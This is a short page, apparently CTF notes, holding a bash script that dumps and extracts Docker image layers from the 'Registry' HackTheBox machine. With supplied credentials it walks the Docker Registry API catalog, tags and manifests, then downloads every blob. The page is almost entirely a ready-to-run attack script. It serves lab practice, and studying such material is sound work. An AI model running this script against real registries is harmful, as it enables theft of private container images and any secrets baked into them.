Docker Blobs Dump
This script was created to dump the Docker blobs from the Registry HTB Machine.
dockerBlobsDump.sh
#!/bin/bash
# References:
# https://docs.docker.com/registry/spec/api/#introduction
# https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
# Written by grav3m1ndbyte
printf "\n### Connecting to the Docker Registry API:"
BASEURL=<Docker_Target_Base_URL>
CREDS=<credential_set_to_use> # For example: "username:password"
USER=`(echo $CREDS | cut -d":" -f1)` # USER variable splits the CREDS variable to get the Username portion
PASS=`(echo $CREDS | cut -d":" -f2)` # PASS variable splits the CREDS variable to get the Password portion
printf "\nBase URL: $BASEURL"
printf "\nUsername: $USER\nPassword: $PASS"
# Dynamically retrieving the Repository Name
REPO=$(curl -s -X GET -k $BASEURL/v2/_catalog --basic --user $USER:$PASS | cut -d":" -f2 | sed -e 's/"//g' | tr -d "[" | tr -d "]" | tr -d "}")
printf "\nRepository found: $REPO"
# Dynamically retrieving the Docker API Tags, also known as Reference Parameter
TAGS=$(curl -s -X GET -k $BASEURL/v2/$REPO/tags/list --basic --user $USER:$PASS | cut -d"," -f2 | cut -d":" -f2 | sed -e 's/"//g' | tr -d "[" | tr -d "]" | tr -d "}")
REF=$TAGS
printf "\nReference Parameter (Tag): $REF\n"
# GET /v2/<Repository Name>/manifests/<Reference>
(curl -s -X GET -k $BASEURL/v2/$REPO/manifests/$REF --basic --user $USER:$PASS | grep "blobSum" | cut -d'"' -f4) > ./blobSums.txt
printf "\n[*] Following blobs found:\n$(cat ./blobSums.txt)\n"
for BLOB in $(cat ./blobSums.txt)
do
NAME=`(echo $BLOB | cut -d":" -f2)`
FILE="$NAME.tar.gz"
mkdir "$NAME"
cd $NAME
printf "\n[*] Dumping blob $BLOB to ./$NAME/$FILE"
printf "\n\t[+] Log File: ./$NAME.log"
wget --no-check-certificate $BASEURL/v2/$REPO/blobs/$BLOB --http-user=$USER --http-password=$PASS -O $FILE -o "../$NAME.log"
printf "\n\t[*] Extracting dumped blob\n"
tar -xzf $FILE 2> /dev/null
cd ..
done
printf "\n*** ENJOY! ***\n"
exit 0
Last updated
Was this helpful?